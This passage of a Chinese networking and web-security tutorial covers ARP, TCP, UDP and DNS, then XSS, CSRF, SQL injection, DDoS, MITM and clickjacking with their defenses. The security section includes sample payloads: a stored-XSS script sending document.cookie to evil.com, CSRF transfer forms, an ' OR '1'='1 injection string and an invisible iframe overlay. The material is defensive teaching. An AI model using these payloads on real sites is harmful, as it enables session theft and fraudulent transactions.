│ │ (192.168.1.2匹配)
│ │
│ │ 5. 单播ARP响应
│ │ <────────────────────────────
│ │ "我是192.168.1.2"
│ │ "我的MAC是00:11:22:33:44:55"
│ │
│ 6. 更新ARP缓存 │
│ 192.168.1.2 → 00:11:22:33:44:55
│ │
│ 7. 发送数据 │
│ ────────────────────────────>│
│ 目的MAC: 00:11:22:33:44:55│ARP 命令示例:
# 查看ARP表
arp -a
# 添加静态ARP条目
arp -s 192.168.1.1 00:11:22:33:44:55
# 删除ARP条目
arp -d 192.168.1.1
# 清空ARP缓存
arp -d -aTCP 协议
TCP(Transmission Control Protocol,传输控制协议)是一种面向连接的、可靠的传输层协议。
TCP 特点
- 面向连接:建立连接后才能传输数据
- 可靠传输:通过确认、重传机制保证数据可靠到达
- 面向字节流:将数据看作连续的字节流
- 全双工通信:双方可以同时发送和接收数据
- 流量控制:通过滑动窗口控制发送速率
- 拥塞控制:避免网络拥塞
TCP 三次握手
客户端 服务器
│ │
│ 1. SYN=1, seq=x │
│ ────────────────────────────>│
│ (发送连接请求,SYN=1) │
│ │
│ │ 2. SYN=1, ACK=1, seq=y, ack=x+1
│ │ <────────────────────────────
│ │ (确认收到请求,发送自己的请求)
│ │
│ 3. ACK=1, seq=x+1, ack=y+1 │
│ ────────────────────────────>│
│ (确认收到服务器的请求) │
│ │
│ 连接建立完成 │
│ │三次握手详解:
// 第一次握手:客户端发送连接请求
const packet1 = {
flags: { SYN: 1 },
seq: x,
ack: 0,
data: null,
};
// 含义:客户端请求建立连接,seq=x表示客户端的初始序列号
// 第二次握手:服务器确认并请求
const packet2 = {
flags: { SYN: 1, ACK: 1 },
seq: y,
ack: x + 1,
data: null,
};
// 含义:服务器确认收到客户端的请求(ack=x+1),并发送自己的连接请求(seq=y)
// 第三次握手:客户端确认
const packet3 = {
flags: { ACK: 1 },
seq: x + 1,
ack: y + 1,
data: null,
};
// 含义:客户端确认收到服务器的请求(ack=y+1),连接建立完成为什么需要三次握手:
- 防止已失效的连接请求突然又传送到服务器:假设客户端发送的第一个连接请求在网络中滞留,客户端超时重发,建立连接后关闭。此时滞留的请求到达服务器,服务器误认为是新的连接请求,建立连接后等待客户端数据,但客户端已关闭,造成资源浪费。
- 确认双方的接收和发送能力:第一次握手确认服务器接收正常,第二次握手确认客户端接收和服务器发送正常,第三次握手确认客户端发送正常。
TCP 四次挥手
客户端 服务器
│ │
│ 1. FIN=1, seq=u │
│ ────────────────────────────>│
│ (请求关闭连接) │
│ │
│ │ 2. ACK=1, seq=v, ack=u+1
│ │ <────────────────────────────
│ │ (确认收到关闭请求)
│ │
│ │ 服务器可能还有数据要发送
│ │ (继续发送剩余数据)
│ │
│ │ 3. FIN=1, ACK=1, seq=w, ack=u+1
│ │ <────────────────────────────
│ │ (服务器请求关闭连接)
│ │
│ 4. ACK=1, seq=u+1, ack=w+1 │
│ ────────────────────────────>│
│ (确认收到服务器的关闭请求) │
│ │
│ 连接关闭完成 │
│ │四次挥手详解:
// 第一次挥手:客户端请求关闭
const packet1 = {
flags: { FIN: 1 },
seq: u,
ack: 0,
data: null,
};
// 含义:客户端没有数据要发送了,请求关闭连接
// 第二次挥手:服务器确认
const packet2 = {
flags: { ACK: 1 },
seq: v,
ack: u + 1,
data: null,
};
// 含义:服务器确认收到客户端的关闭请求,但可能还有数据要发送
// 第三次挥手:服务器请求关闭
const packet3 = {
flags: { FIN: 1, ACK: 1 },
seq: w,
ack: u + 1,
data: null,
};
// 含义:服务器也没有数据要发送了,请求关闭连接
// 第四次挥手:客户端确认
const packet4 = {
flags: { ACK: 1 },
seq: u + 1,
ack: w + 1,
data: null,
};
// 含义:客户端确认收到服务器的关闭请求,连接关闭完成为什么需要四次挥手:
TCP 是全双工通信,每个方向都可以独立关闭。客户端关闭发送方向后,服务器可能还有数据要发送给客户端,所以需要等待服务器也关闭发送方向后,连接才能完全关闭。
TIME_WAIT 状态:
// 客户端发送第四次挥手后,进入TIME_WAIT状态
// 持续时间:2MSL(Maximum Segment Lifetime,最大报文生存时间)
// 原因:
// 1. 确保最后一个ACK能够到达服务器
// 2. 确保网络中所有旧的报文都消失,避免影响新连接
// TIME_WAIT状态的影响:
// - 占用系统资源(端口、内存)
// - 在高并发场景下可能导致端口耗尽
// - 解决方案:调整内核参数、使用SO_REUSEADDR
#### TCP 流量控制
TCP 使用滑动窗口机制进行流量控制,防止发送方发送速度过快导致接收方来不及处理。
**滑动窗口工作原理**:发送方 接收方
│ │
│ 1. 发送数据包 1-4 │
│ ────────────────────────────>│
│ (窗口大小:4) │
│ │
│ │ 2. 接收数据包 1-4
│ │ (窗口大小:4)
│ │
│ │ 3. ACK=5, win=4
│ │ <────────────────────────────
│ │ (确认收到 1-4,窗口仍为 4)
│ │
│ 4. 发送数据包 5-8 │
│ ────────────────────────────>│
│ │
│ │ 5. 接收数据包 5-8
│ │ (窗口大小:2,处理变慢)
│ │
│ │ 6. ACK=9, win=2
│ │ <────────────────────────────
│ │ (确认收到 5-8,窗口减为 2)
│ │
│ 7. 发送数据包 9-10 │
│ ────────────────────────────>│
│ (只发送 2 个,窗口限制) │
**滑动窗口详解**:
```javascript
// 滑动窗口概念
const slidingWindow = {
// 发送窗口分为三个部分:
sentAndAcked: "已发送并已确认",
sentButNotAcked: "已发送但未确认(在窗口内)",
notSentButCanSend: "未发送但可以发送(在窗口内)",
cannotSend: "不能发送(在窗口外)",
// 窗口滑动过程
process: {
step1: "发送方发送窗口内的数据",
step2: "接收方接收数据并确认",
step3: "发送方收到确认,窗口向前滑动",
step4: "发送方可以发送新的数据",
},
// 窗口大小的意义
windowSize: "接收方告诉发送方自己还能接收多少数据",
};TCP 拥塞控制
TCP 拥塞控制是为了避免网络拥塞,根据网络状况调整发送速率。
拥塞控制算法:
// 1. 慢启动(Slow Start)
const slowStart = {
description: "连接建立初期,指数级增加拥塞窗口",
algorithm: {
initial: "cwnd = 1 MSS(最大报文段长度)",
process: "每收到一个ACK,cwnd *= 2",
threshold: "当cwnd达到慢启动阈值ssthresh时,进入拥塞避免",
},
example: `
初始:cwnd = 1
收到ACK:cwnd = 2
收到ACK:cwnd = 4
收到ACK:cwnd = 8
收到ACK:cwnd = 16 (达到ssthresh,进入拥塞避免)
`,
};
// 2. 拥塞避免(Congestion Avoidance)
const congestionAvoidance = {
description: "拥塞窗口线性增长,避免网络拥塞",
algorithm: {
process: "每经过一个RTT,cwnd += 1 MSS",
characteristic: "增长缓慢,避免突然拥塞",
},
example: `
cwnd = 16
经过1个RTT:cwnd = 17
经过2个RTT:cwnd = 18
经过3个RTT:cwnd = 19
`,
};
// 3. 快重传(Fast Retransmit)
const fastRetransmit = {
description: "收到3个重复ACK时,立即重传丢失的数据包",
algorithm: {
trigger: "收到3个重复ACK",
action: "立即重传丢失的数据包,不等待超时",
},
example: `
发送方发送数据包1, 2, 3, 4, 5
接收方收到1, 2, 4, 5(3丢失)
接收方发送ACK=2, ACK=2, ACK=2(3个重复ACK)
发送方收到3个重复ACK,立即重传数据包3
`,
};
// 4. 快恢复(Fast Recovery)
const fastRecovery = {
description: "快重传后,进入快恢复状态,避免进入慢启动",
algorithm: {
trigger: "执行快重传后",
action: "ssthresh = cwnd / 2, cwnd = ssthresh",
process: "进入拥塞避免阶段",
},
example: `
当前cwnd = 16, ssthresh = 16
发生拥塞,执行快重传
ssthresh = 8, cwnd = 8
进入拥塞避免阶段,线性增长
`,
};拥塞控制完整流程:
慢启动阶段
│
├─ cwnd = 1, 2, 4, 8, 16 (指数增长)
│
├─ 达到ssthresh
│
└─ 进入拥塞避免
│
├─ cwnd = 16, 17, 18, 19, 20 (线性增长)
│
├─ 发生拥塞(收到3个重复ACK)
│
├─ 执行快重传和快恢复
│ └─ ssthresh = cwnd / 2, cwnd = ssthresh
│
└─ 继续拥塞避免
│
└─ cwnd = 10, 11, 12, 13, 14 (线性增长)TCP 保活机制
TCP 保活机制用于检测连接是否仍然有效,防止僵尸连接占用资源。
保活机制工作原理:
// TCP保活参数配置
const tcpKeepalive = {
// 1. 保活开关
keepalive: true,
// 2. 保活时间(idle):连接空闲多长时间后开始发送保活探测包
keepaliveTime: 7200, // 2小时(默认值)
// 3. 保活间隔(intvl):发送保活探测包的时间间隔
keepaliveInterval: 75, // 75秒(默认值)
// 4. 保活探测次数(probes):发送多少次保活探测包后认为连接断开
keepaliveProbes: 9, // 9次(默认值)
// 工作流程
process: {
step1: "连接空闲2小时后,发送第一个保活探测包",
step2: "如果收到ACK,继续等待",
step3: "如果没有收到ACK,75秒后发送第二个保活探测包",
step4: "重复9次后仍无响应,认为连接断开",
},
};
// Node.js设置TCP保活
const net = require("net");
const socket = new net.Socket();
socket.on("connect", () => {
// 启用TCP保活
socket.setKeepAlive(true, 7200000); // 2小时
});TCP 粘包和拆包
TCP 是面向字节流的协议,不保留消息边界,可能导致粘包和拆包问题。
粘包和拆包问题:
// 问题示例
const tcpPacketIssue = {
// 发送方发送3个数据包
send: ["Hello", "World", "TCP"],
// 接收方可能收到的情况
receive: {
case1: ["HelloWorldTCP"], // 粘包:3个包合并成1个
case2: ["HelloWorld", "TCP"], // 粘包:前2个包合并
case3: ["Hello", "WorldTCP"], // 粘包:后2个包合并
case4: ["He", "lloWo", "rldTCP"], // 拆包:包被拆分
},
};
// 解决方案1:固定长度
const fixedLengthSolution = {
description: "每个数据包固定长度,不足补零",
example: `
const PACKET_SIZE = 1024;
// 发送
const packet = Buffer.alloc(PACKET_SIZE);
packet.write('Hello', 'utf8');
socket.write(packet);
// 接收
socket.on('data', (data) => {
const packets = [];
for (let i = 0; i < data.length; i += PACKET_SIZE) {
packets.push(data.slice(i, i + PACKET_SIZE));
}
});
`,
};
// 解决方案2:分隔符
const delimiterSolution = {
description: "使用特殊分隔符分隔数据包",
example: `
const DELIMITER = '\\n';
// 发送
socket.write('Hello\\n');
socket.write('World\\n');
socket.write('TCP\\n');
// 接收
let buffer = '';
socket.on('data', (data) => {
buffer += data.toString();
const packets = buffer.split(DELIMITER);
buffer = packets.pop(); // 保存不完整的包
packets.forEach(packet => {
console.log('收到数据包:', packet);
});
});
`,
};
// 解决方案3:长度前缀
const lengthPrefixSolution = {
description: "在每个数据包前面加上长度信息",
example: `
// 发送
const message = 'Hello';
const length = Buffer.alloc(4);
length.writeUInt32LE(message.length);
socket.write(Buffer.concat([length, Buffer.from(message)]));
// 接收
let buffer = Buffer.alloc(0);
socket.on('data', (data) => {
buffer = Buffer.concat([buffer, data]);
while (buffer.length >= 4) {
const length = buffer.readUInt32LE(0);
if (buffer.length >= 4 + length) {
const message = buffer.slice(4, 4 + length).toString();
console.log('收到数据包:', message);
buffer = buffer.slice(4 + length);
} else {
break;
}
}
});
`,
};UDP 协议
UDP(User Datagram Protocol,用户数据报协议)是一种无连接的、不可靠的传输层协议。
UDP 特点
- 无连接:不需要建立连接即可发送数据
- 不可靠:不保证数据可靠到达
- 面向报文:保留报文边界
- 无拥塞控制:发送速率不受网络状态影响
- 头部开销小:仅 8 字节
UDP 应用场景
- 视频直播、语音通话(实时性要求高,可容忍少量丢包)
- DNS 查询(请求响应简单,需要快速响应)
- 在线游戏(实时性要求高)
- IoT 设备通信(资源受限,需要轻量级协议)
UDP 示例代码(Node.js)
const dgram = require("dgram");
// 创建UDP服务器
const server = dgram.createSocket("udp4");
server.on("message", (msg, rinfo) => {
console.log(`收到来自 ${rinfo.address}:${rinfo.port} 的消息: ${msg}`);
server.send("Hello Client", rinfo.port, rinfo.address);
});
server.bind(41234);
// 创建UDP客户端
const client = dgram.createSocket("udp4");
client.send("Hello Server", 41234, "localhost", (err) => {
if (err) console.error(err);
});
client.on("message", (msg, rinfo) => {
console.log(`收到服务器响应: ${msg}`);
client.close();
});TCP vs UDP 对比
TCP (传输控制协议)
- 连接:面向连接(三次握手、四次挥手)
- 可靠性:可靠(确认、重传、排序)
- 顺序:保证顺序
- 流量控制:有(滑动窗口)
- 拥塞控制:有(慢启动、拥塞避免)
- 传输方式:面向字节流
- 首部开销:20 字节
- 传输速度:慢(由于确认和重传)
- 应用场景:Web 浏览、邮件、文件传输
- 典型协议:HTTP、FTP、SMTP、SSH
UDP (用户数据报协议)
- 连接:无连接(直接发送)
- 可靠性:不可靠(可能丢包、重复、乱序)
- 顺序:不保证顺序
- 流量控制:无
- 拥塞控制:无
- 传输方式:面向报文
- 首部开销:8 字节
- 传输速度:快(无确认和重传)
- 应用场景:视频直播、语音通话、在线游戏、DNS
- 典型协议:DNS、DHCP、RTP、VoIP
TCP vs UDP 数据传输对比
TCP 数据传输(可靠)
- 请求流程:
- 发送数据包 1 → 确认收到数据包 1
- 发送数据包 2 → 数据包 2 丢失,超时重发 → 确认收到数据包 2
- 发送数据包 3 → 确认收到数据包 3
- 特点:保证所有数据包都到达,按顺序到达
- 代价:需要确认和重传,增加延迟
UDP 数据传输(快速)
- 请求流程:
- 发送数据包 1
- 发送数据包 2
- 发送数据包 3
- 数据包 2 丢失(未处理)
- 发送数据包 4
- 特点:快速发送,不等待确认
- 代价:可能丢包,不保证顺序
## 6. DNS 解析
### 6.1 DNS 概述
DNS(Domain Name System,域名系统)是将域名转换为 IP 地址的分布式数据库系统。
### 6.2 DNS 解析过程用户浏览器 本地 DNS 服务器 根 DNS 服务器
│ │ │
│ 1. 查询 www.example.com │ │
│ ────────────────────────────────>│ │
│ │ │
│ │ 2. 查询 www.example.com │
│ │ ──────────────────────────────>│
│ │ │
│ │ 3. 返回 .com TLD 服务器地址 │
│ │ <─────────────────────────────│
│ │ (a.gtld-servers.net) │
│ │ │
│ │ 4. 查询 www.example.com │
│ │ ──────────────────────────────>│ .com TLD 服务器
│ │ │
│ │ 5. 返回权威 DNS 服务器地址 │
│ │ <─────────────────────────────│
│ │ (ns1.example.com) │
│ │ │
│ │ 6. 查询 www.example.com │
│ │ ──────────────────────────────>│ 权威 DNS 服务器
│ │ │
│ │ 7. 返回 IP 地址 │
│ │ <─────────────────────────────│
│ │ (192.0.2.1) │
│ │ │
│ 8. 返回 IP 地址 │ │
│ <───────────────────────────────│ │
│ (192.0.2.1) │ │
│ │ │
│ 9. 缓存结果 │ 10. 缓存结果 │
│ │ │
### 6.3 DNS 解析详细流程
```javascript
// DNS解析的完整过程
const dnsResolution = {
step1: {
action: "检查浏览器缓存",
description: "浏览器首先检查自己的DNS缓存",
cache: {
"www.example.com": "192.0.2.1",
expires: "2026-01-16T09:00:00Z",
},
},
step2: {
action: "检查操作系统缓存",
description: "如果浏览器缓存中没有,检查操作系统的DNS缓存",
command: "ipconfig /displaydns", // Windows
},
step3: {
action: "检查Hosts文件",
description: "如果系统缓存中没有,检查Hosts文件",
path: "C:\\Windows\\System32\\drivers\\etc\\hosts", // Windows
},
step4: {
action: "查询本地DNS服务器",
description: "如果以上都没有,向本地DNS服务器(通常是ISP提供的)发起查询",
server: "8.8.8.8", // Google DNS
},
step5: {
action: "递归查询",
description: "本地DNS服务器进行递归查询",
process: [
"查询根DNS服务器(.)",
"查询顶级域名服务器(.com)",
"查询权威DNS服务器(example.com)",
],
},
step6: {
action: "返回结果并缓存",
description: "将解析结果返回给客户端,并在各级缓存中存储",
ttl: 3600, // 缓存时间(秒)
},
};DNS 缓存层级
浏览器缓存 (Browser Cache)
- 缓存时间:1-60 分钟
- 容量:通常较小
- 优先级:最高
操作系统缓存 (OS Cache)
- 缓存时间:由 TTL 决定
- 容量:中等
- 优先级:次高
Hosts 文件
- 永久有效(除非手动修改)
- 优先级:高于 DNS 查询
- 用于本地测试和域名劫持防护
本地 DNS 服务器缓存 (Local DNS Cache)
- 缓存时间:由 TTL 决定
- 容量:较大
- 优先级:最低
DNS 查询类型
// DNS查询类型
const dnsQueryTypes = {
recursive: {
name: "递归查询",
description: "DNS服务器负责完成整个解析过程,返回最终结果",
example: "客户端 → 本地DNS → 根DNS → TLD DNS → 权威DNS → 本地DNS → 客户端",
},
iterative: {
name: "迭代查询",
description: "DNS服务器返回下一步应该查询的服务器地址,由客户端继续查询",
example:
"客户端 → 本地DNS → 客户端 → 根DNS → 客户端 → TLD DNS → 客户端 → 权威DNS → 客户端",
},
reverse: {
name: "反向查询",
description: "根据IP地址查询域名",
example: "192.0.2.1 → www.example.com",
},
};DNS 记录类型
| 记录类型 | 描述 | 示例 |
|---|---|---|
| A | IPv4 地址记录 | example.com → 192.0.2.1 |
| AAAA | IPv6 地址记录 | example.com → 2001:db8::1 |
| CNAME | 别名记录 | www.example.com → example.com |
| MX | 邮件交换记录 | example.com → mail.example.com |
| TXT | 文本记录 | example.com → "v=spf1 include:_spf.google.com ~all" |
| NS | 域名服务器记录 | example.com → ns1.example.com |
| SRV | 服务记录 | _sip._tcp.example.com → sipserver.example.com |
DNS 优化
使用 CDN 加速
// 配置CDN DNS记录
www.example.com → CNAME → example.cdn.cloudflare.netDNS 预解析
<!-- DNS预解析 -->
<link rel="dns-prefetch" href="https://api.example.com" />
<link rel="dns-prefetch" href="https://cdn.example.com" />
<!-- 预连接 -->
<link rel="preconnect" href="https://api.example.com" />
<!-- 预加载 -->
<link rel="preload" href="/styles/main.css" as="style" />5. 网络安全
5.1 常见网络攻击
XSS(跨站脚本攻击)
XSS 攻击通过在网页中注入恶意脚本,当用户浏览该页面时,恶意脚本会在用户浏览器中执行。
XSS 攻击流程
攻击者 网站服务器 受害者
│ │ │
│ 1. 提交恶意评论 │ │
│ ────────────────────────────────>│ │
│ <script>steal_cookie()</script>│ │
│ │ │
│ │ 2. 存储到数据库 │
│ │ │
│ │ 3. 返回页面(包含恶意脚本) │
│ │ ──────────────────────────────>│
│ │ │
│ │ │ 4. 浏览器执行恶意脚本
│ │ │
│ │ │ 5. 发送Cookie到攻击者服务器
│ │ │ ──────────────────────────────>│
│ │ │ (document.cookie)
│ │ │
│ 6. 接收Cookie │ │
│ <────────────────────────────────│ │
│ │ │
│ 7. 劫持用户会话 │ │
│ │ │XSS 攻击类型
// 1. 存储型XSS(持久型)
const storedXSS = {
description: "恶意脚本被存储在服务器数据库中,当其他用户访问时执行",
example: `
// 攻击者在评论区输入:
<script>
fetch('http://evil.com/steal?cookie=' + document.cookie);
</script>
// 服务器存储到数据库
// 当其他用户查看评论时,脚本自动执行
`,
danger: "最高,影响所有访问该页面的用户",
};
// 2. 反射型XSS(非持久型)
const reflectedXSS = {
description: "恶意脚本通过URL参数传递,服务器反射回浏览器执行",
example: `
// 恶意URL:
http://example.com/search?q=<script>alert(document.cookie)</script>
// 服务器返回:
<p>搜索结果:<script>alert(document.cookie)</script></p>
`,
danger: "中等,需要诱骗用户点击恶意链接",
};
// 3. DOM型XSS
const domXSS = {
description: "恶意脚本通过修改DOM执行,不经过服务器",
example: `
// 恶意URL:
http://example.com/page#<img src=x onerror=alert(1)>
// JavaScript代码:
const hash = location.hash;
document.getElementById('content').innerHTML = hash;
`,
danger: "中等,完全在客户端执行",
};XSS 防御措施
// 1. 对用户输入进行转义
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
// 2. 使用CSP(Content Security Policy)
// 在HTTP响应头中设置:
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
// 3. 使用DOMPurify库清理HTML
import DOMPurify from 'dompurify';
const clean = DOMPurify.sanitize(dirtyInput);
// 4. 避免使用innerHTML,使用textContent
// 不安全:
element.innerHTML = userInput;
// 安全:
element.textContent = userInput;
// 5. 设置HttpOnly Cookie
Set-Cookie: session_id=abc123; HttpOnly; Secure; SameSite=StrictCSRF(跨站请求伪造)
CSRF 攻击利用用户已登录的身份,诱使用户点击恶意链接,从而在用户不知情的情况下执行非本意的操作。
CSRF 攻击流程
受害者浏览器 目标网站 攻击者网站
│ │ │
│ 1. 登录目标网站 │ │
│ ────────────────────────────────>│ │
│ │ │
│ 2. 返回Cookie │ │
│ <───────────────────────────────│ │
│ Set-Cookie: session=abc123 │ │
│ │ │
│ 3. 访问攻击者网站 │ │
│ ───────────────────────────────────────────────────────────────────>│
│ │ │
│ 4. 返回恶意页面 │ │
│ <──────────────────────────────────────────────────────────────────│
│ <img src="https://bank.com/transfer?to=attacker&amount=10000">│
│ │ │
│ 5. 自动发送请求(携带Cookie) │ │
│ ────────────────────────────────>│ │
│ GET /transfer?to=attacker&amount=10000 │
│ Cookie: session=abc123 │ │
│ │ │
│ │ 6. 执行转账操作 │
│ │ │
│ 7. 返回转账成功 │ │
│ <───────────────────────────────│ │
│ │ │
│ │ │CSRF 攻击示例
// 1. GET请求CSRF
const getCsrfAttack = {
method: "GET",
url: "https://bank.com/transfer",
params: {
to: "attacker@example.com",
amount: 10000,
},
// 恶意网站中的代码:
html: `<img src="https://bank.com/transfer?to=attacker@example.com&amount=10000" style="display:none">`,
};
// 2. POST请求CSRF
const postCsrfAttack = {
method: "POST",
url: "https://bank.com/transfer",
data: {
to: "attacker@example.com",
amount: 10000,
},
// 恶意网站中的代码:
html: `
<form action="https://bank.com/transfer" method="POST" id="csrf-form">
<input type="hidden" name="to" value="attacker@example.com">
<input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('csrf-form').submit();</script>
`,
};CSRF 防御措施
// 1. 使用CSRF Token
const csrfTokenDefense = {
description: "在表单中添加随机Token,服务器验证Token是否匹配",
implementation: `
// 服务器生成Token
const csrfToken = crypto.randomBytes(32).toString('hex');
session.csrfToken = csrfToken;
// 前端表单包含Token
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="${csrfToken}">
<input type="text" name="to">
<input type="number" name="amount">
<button type="submit">转账</button>
</form>
// 服务器验证Token
app.post('/transfer', (req, res) => {
if (req.body.csrf_token !== req.session.csrfToken) {
return res.status(403).send('CSRF Token验证失败');
}
// 执行转账操作
});
`,
};
// 2. 验证Referer头
const refererDefense = {
description: "检查请求的Referer头是否来自可信域名",
implementation: `
app.use((req, res, next) => {
const referer = req.headers.referer;
if (referer && !referer.includes('yourdomain.com')) {
return res.status(403).send('Invalid referer');
}
next();
});
`,
limitation: "Referer头可能被伪造或被隐私设置禁用",
};
// 3. SameSite Cookie属性
const sameSiteDefense = {
description: "设置Cookie的SameSite属性,限制Cookie的发送范围",
implementation: `
// Strict模式:Cookie只在同站点请求中发送
Set-Cookie: session_id=abc123; SameSite=Strict
// Lax模式:Cookie在同站点请求和部分跨站点请求中发送(如GET请求)
Set-Cookie: session_id=abc123; SameSite=Lax
// None模式:Cookie在所有请求中发送(需要Secure属性)
Set-Cookie: session_id=abc123; SameSite=None; Secure
`,
recommendation: "推荐使用Lax模式,平衡安全性和用户体验",
};
// 4. 双重Cookie验证
const doubleCookieDefense = {
description: "在Cookie和请求参数中都包含Token,服务器验证两者是否匹配",
implementation: `
// 服务器设置双重Cookie
const csrfToken = crypto.randomBytes(32).toString('hex');
res.cookie('csrf_token', csrfToken, { httpOnly: true });
res.render('form', { csrfToken });
// 前端表单包含Token
<form action="/transfer" method="POST">
<input type="hidden" name="csrf_token" value="${csrfToken}">
<button type="submit">转账</button>
</form>
// 服务器验证
app.post('/transfer', (req, res) => {
if (req.body.csrf_token !== req.cookies.csrf_token) {
return res.status(403).send('CSRF验证失败');
}
// 执行转账操作
});
`,
};SQL 注入
SQL 注入通过在输入字段中插入恶意 SQL 代码,从而操纵数据库查询。
// SQL注入示例
// 恶意输入:' OR '1'='1
// 原始查询:
SELECT * FROM users WHERE username = '$username' AND password = '$password';
// 注入后:
SELECT * FROM users WHERE username = '' OR '1'='1' AND password = '';
// 防御措施:
// 1. 使用参数化查询
const query = 'SELECT * FROM users WHERE username = ? AND password = ?';
db.query(query, [username, password], (err, results) => {
// 处理结果
});
// 2. 使用ORM
const user = await User.findOne({
where: {
username: username,
password: password
}
});DDoS 攻击(分布式拒绝服务攻击)
DDoS 攻击通过控制大量僵尸主机向目标服务器发送大量请求,耗尽服务器资源,使正常用户无法访问。
DDoS 攻击类型
// 1. 流量型攻击
const volumetricAttack = {
description: "发送大量网络流量,耗尽目标带宽",
types: {
udpFlood: "UDP洪水攻击:发送大量UDP数据包",
icmpFlood: "ICMP洪水攻击:发送大量ICMP请求(Ping)",
amplification: "放大攻击:利用DNS、NTP等协议放大流量",
},
example: `
攻击者控制10000台僵尸机
每台机器每秒发送1GB流量
总流量:10TB/s
目标服务器带宽:1TB/s
结果:服务器带宽被耗尽,正常用户无法访问
`,
};
// 2. 应用层攻击
const applicationLayerAttack = {
description: "针对应用层协议发起攻击,消耗服务器资源",
types: {
httpFlood: "HTTP洪水攻击:发送大量HTTP请求",
slowloris: "慢速攻击:建立大量连接但缓慢发送数据",
ccAttack: "CC攻击:模拟用户行为,绕过简单防护",
},
example: `
攻击者控制10000台僵尸机
每台机器每秒发送100个HTTP请求
总请求数:100万请求/秒
目标服务器处理能力:10万请求/秒
结果:服务器CPU/内存被耗尽,正常请求无法处理
`,
};
// 3. 协议攻击
const protocolAttack = {
description: "利用网络协议漏洞,耗尽服务器资源",
types: {
synFlood: "SYN洪水攻击:发送大量SYN包,耗尽连接队列",
ackFlood: "ACK洪水攻击:发送大量ACK包,耗尽服务器资源",
fragmentation: "分片攻击:发送大量分片包,耗尽重组资源",
},
example: `
攻击者发送大量SYN包
服务器为每个SYN分配资源,等待ACK
攻击者不发送ACK,服务器资源被耗尽
正常用户的SYN无法处理
`,
};DDoS 防御措施
// 1. 流量清洗
const trafficCleaning = {
description: "使用CDN或专业DDoS防护服务清洗恶意流量",
implementation: `
// 配置Cloudflare DDoS防护
const cloudflare = {
enableDDoSProtection: true,
enableUnderAttackMode: true,
rateLimiting: {
requestsPerMinute: 1000,
blockDuration: 60,
},
};
`,
};
// 2. 限流和熔断
const rateLimiting = {
description: "限制单个IP的请求频率,超过阈值则拒绝",
implementation: `
const express = require('express');
const rateLimit = require('express-rate-limit');
const limiter = rateLimit({
windowMs: 15 * 60 * 1000, // 15分钟
max: 100, // 最多100个请求
message: '请求过于频繁,请稍后再试',
});
app.use(limiter);
`,
};
// 3. 服务器加固
const serverHardening = {
description: "优化服务器配置,提高抗攻击能力",
implementation: `
// Nginx配置优化
http {
// 限制连接数
limit_conn_zone $binary_remote_addr zone=conn_limit_per_ip:10m;
limit_conn conn_limit_per_ip 10;
// 限制请求速率
limit_req_zone $binary_remote_addr zone=req_limit_per_ip:10m rate=10r/s;
limit_req zone=req_limit_per_ip burst=20 nodelay;
// 超时设置
client_body_timeout 10s;
client_header_timeout 10s;
keepalive_timeout 5s 5s;
send_timeout 10s;
}
`,
};中间人攻击(MITM)
中间人攻击通过拦截和篡改通信双方的数据,窃取敏感信息或进行恶意操作。
中间人攻击类型
// 1. ARP欺骗
const arpSpoofing = {
description: "伪造ARP响应,将流量重定向到攻击者",
process: `
正常情况:
用户电脑 → 网关 → 互联网
ARP欺骗后:
用户电脑 → 攻击者 → 网关 → 互联网
用户电脑 ← 攻击者 ← 网关 ← 互联网
`,
defense: "使用静态ARP表、启用ARP监控",
};
// 2. DNS欺骗
const dnsSpoofing = {
description: "伪造DNS响应,将域名解析到恶意IP",
process: `
正常情况:
www.bank.com → 192.0.2.1 (真实银行服务器)
DNS欺骗后:
www.bank.com → 192.0.2.100 (攻击者伪造的银行网站)
`,
defense: "使用DNSSEC、启用DNS over HTTPS",
};
// 3. SSL剥离
const sslStrip = {
description: "将HTTPS连接降级为HTTP,窃取明文数据",
process: `
正常情况:
用户 → HTTPS → 服务器
SSL剥离后:
用户 → HTTP → 攻击者 → HTTPS → 服务器
用户 ← HTTP ← 攻击者 ← HTTPS ← 服务器
`,
defense: "强制使用HTTPS、启用HSTS",
};中间人攻击防御
// 1. 使用HTTPS
const httpsDefense = {
description: "加密通信内容,防止数据被窃取和篡改",
implementation: `
// 强制HTTPS
app.use((req, res, next) => {
if (!req.secure) {
return res.redirect('https://' + req.headers.host + req.url);
}
next();
});
// 启用HSTS
res.setHeader('Strict-Transport-Security', 'max-age=31536000; includeSubDomains');
`,
};
// 2. 证书固定
const certificatePinning = {
description: "在客户端固定服务器的证书,防止中间人攻击",
implementation: `
// 移动端证书固定
const certificatePinning = {
domain: 'api.example.com',
certificates: [
'sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=',
'sha256/BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB=',
],
};
// 验证证书
const tls = require('tls');
const options = {
host: 'api.example.com',
port: 443,
rejectUnauthorized: true,
};
const socket = tls.connect(options, () => {
const cert = socket.getPeerCertificate();
const fingerprint = cert.fingerprint256;
if (!certificatePinning.certificates.includes(fingerprint)) {
console.error('证书验证失败!');
socket.destroy();
}
});
`,
};
// 3. 公钥基础设施(PKI)
const pkiDefense = {
description: "使用受信任的CA机构签发的证书",
implementation: `
// 验证证书链
const https = require('https');
const options = {
hostname: 'example.com',
port: 443,
method: 'GET',
rejectUnauthorized: true, // 验证证书
};
const req = https.request(options, (res) => {
console.log('证书验证通过');
});
req.on('error', (err) => {
console.error('证书验证失败:', err.message);
});
req.end();
`,
};点击劫持(Clickjacking)
点击劫持通过将恶意网站覆盖在目标网站之上,诱骗用户点击不可见的按钮。
点击劫持攻击流程
受害者浏览器
│
│ 1. 访问恶意网站
│
│ 2. 恶意网站加载iframe
│ <iframe src="https://bank.com/transfer"
│ style="opacity:0;position:absolute;top:0;left:0;width:100%;height:100%">
│ </iframe>
│
│ 3. 恶意网站显示诱骗内容
│ "点击这里领取免费礼品!"
│
│ 4. 用户点击"领取礼品"按钮
│ 实际点击的是iframe中的"转账"按钮
│
│ 5. 执行转账操作
│点击劫持防御
// 1. 使用X-Frame-Options头
const xFrameOptions = {
description: "控制页面是否可以被嵌入iframe",
options: {
deny: "完全禁止被嵌入iframe",
sameorigin: "只允许同域名嵌入iframe",
},
